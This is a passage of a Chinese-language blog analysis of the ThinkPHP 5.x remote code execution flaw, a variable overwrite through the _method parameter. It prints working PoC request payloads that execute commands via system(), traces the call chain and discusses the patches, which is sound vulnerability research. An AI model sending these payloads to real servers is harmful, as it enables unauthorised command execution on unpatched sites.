&lt;p&gt;&lt;code&gt;_method=__construct&amp;amp;filter=system&amp;amp;method=get&amp;amp;server[REQUEST_METHOD]=id&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112163746.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190112175904.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;2-流程图&#34;&gt;2. 流程图&lt;/h5&gt;

&lt;p&gt;整个漏洞的调用流程图如下所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116110438.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;二-5-1-x-5-2-x-版本&#34;&gt;二、&lt;code&gt;5.1.x&lt;/code&gt;/&lt;code&gt;5.2.x&lt;/code&gt;版本&lt;/h4&gt;

&lt;p&gt;在&lt;code&gt;5.1&lt;/code&gt;和&lt;code&gt;5.2&lt;/code&gt;版本上，这个变量覆盖依然存在，我们同样可以通过&lt;code&gt;_method&lt;/code&gt;参数覆盖&lt;code&gt;var_method&lt;/code&gt;，并最终执行到&lt;code&gt;Request::input()&lt;/code&gt;方法，通过&lt;code&gt;array_walk_recursive&lt;/code&gt;把传入的数组传给回调函数&lt;code&gt;filterValue&lt;/code&gt;，最终也是在&lt;code&gt;filterValue&lt;/code&gt;中完成命令执行，具体调用如下&lt;/p&gt;

&lt;p&gt;当传入&lt;code&gt;_method&lt;/code&gt;参数为&lt;code&gt;filter&lt;/code&gt;时，覆盖了&lt;code&gt;Request&lt;/code&gt;原始的&lt;code&gt;filter&lt;/code&gt;成员，在经过路由检查进入&lt;code&gt;Request::instance()-&amp;gt;param()&lt;/code&gt;方法时，经过&lt;code&gt;$this-&amp;gt;method(true)调用，&lt;/code&gt;返回的&lt;code&gt;$method&lt;/code&gt;值为&lt;code&gt;POST&lt;/code&gt;，于是进入&lt;code&gt;post&lt;/code&gt;分支，调用&lt;code&gt;input()&lt;/code&gt;方法，由于第一个参数为空，返回我们传入的&lt;code&gt;post&lt;/code&gt;值&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116095414.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后把数组合并到&lt;code&gt;$this-&amp;gt;param&lt;/code&gt;，接着再次调用&lt;code&gt;input()&lt;/code&gt;方法，经过&lt;code&gt;$this-&amp;gt;getFilter&lt;/code&gt;返回&lt;code&gt;filter&lt;/code&gt;值，由于此时&lt;code&gt;$data&lt;/code&gt;是一个数组(即&lt;code&gt;$this-&amp;gt;param&lt;/code&gt;)，于是进入&lt;code&gt;if&lt;/code&gt;分支，经过&lt;code&gt;array_walk_recursive()&lt;/code&gt;函数把数组传给回调函数&lt;code&gt;filterValue&lt;/code&gt;，遍历键值后同样由&lt;code&gt;call_user_func&lt;/code&gt;完成命令执行&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (is_array($data)) {
    array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter);
    if (version_compare(PHP_VERSION, &#39;7.1.0&#39;, &#39;&amp;lt;&#39;)) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this-&amp;gt;arrayReset($data);
    }
} else {
    $this-&amp;gt;filterValue($data, $name, $filter);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&#34;1-构造-poc-1&#34;&gt;1. 构造&lt;code&gt;PoC&lt;/code&gt;&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;a=system&amp;amp;b=id&amp;amp;_method=filter
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要在程序加入忽略异常提示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;error_reporting(0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用栈如图&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116095551.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h5 id=&#34;2-流程图-1&#34;&gt;2. 流程图&lt;/h5&gt;

&lt;p&gt;&lt;code&gt;5.1.x&lt;/code&gt;版本的漏洞调用流程图如下所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190116104019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-补丁分析&#34;&gt;0x05 补丁分析&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190114134401.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在三个版本的更新补丁中，限制了&lt;code&gt;$this-&amp;gt;method&lt;/code&gt;为&lt;code&gt;GET&lt;/code&gt;，&lt;code&gt;POST&lt;/code&gt;，&lt;code&gt;DELETE&lt;/code&gt;，&lt;code&gt;PUT&lt;/code&gt;，&lt;code&gt;PATCH&lt;/code&gt;这几个方法，因此不能从外部传入方法名再调用&lt;code&gt;Request&lt;/code&gt;类的任意方法或是覆盖原有变量。&lt;/p&gt;

&lt;p&gt;补丁链接：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.0.24：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003&#34;&gt;https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.1.31：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6&#34;&gt;https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;5.2-beta.2：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f&#34;&gt;https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;这三漏洞本质上都是变量覆盖漏洞，在一处存在缺陷的方法中没有对用户输入做严格判断，通过传递&lt;code&gt;_method&lt;/code&gt;参数覆盖了配置文件的&lt;code&gt;_method&lt;/code&gt;，导致可以访问&lt;code&gt;Request&lt;/code&gt;类的任意函数，而在&lt;code&gt;Request&lt;/code&gt;的构造函数中又创建了恶意的成员变量，导致后面的命令执行；而在&lt;code&gt;5.1&lt;/code&gt;和&lt;code&gt;5.2&lt;/code&gt;版本中则是直接覆盖了过滤器，在忽略运行异常的情况下会触发漏洞，整个利用链可以说是非常巧妙了。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>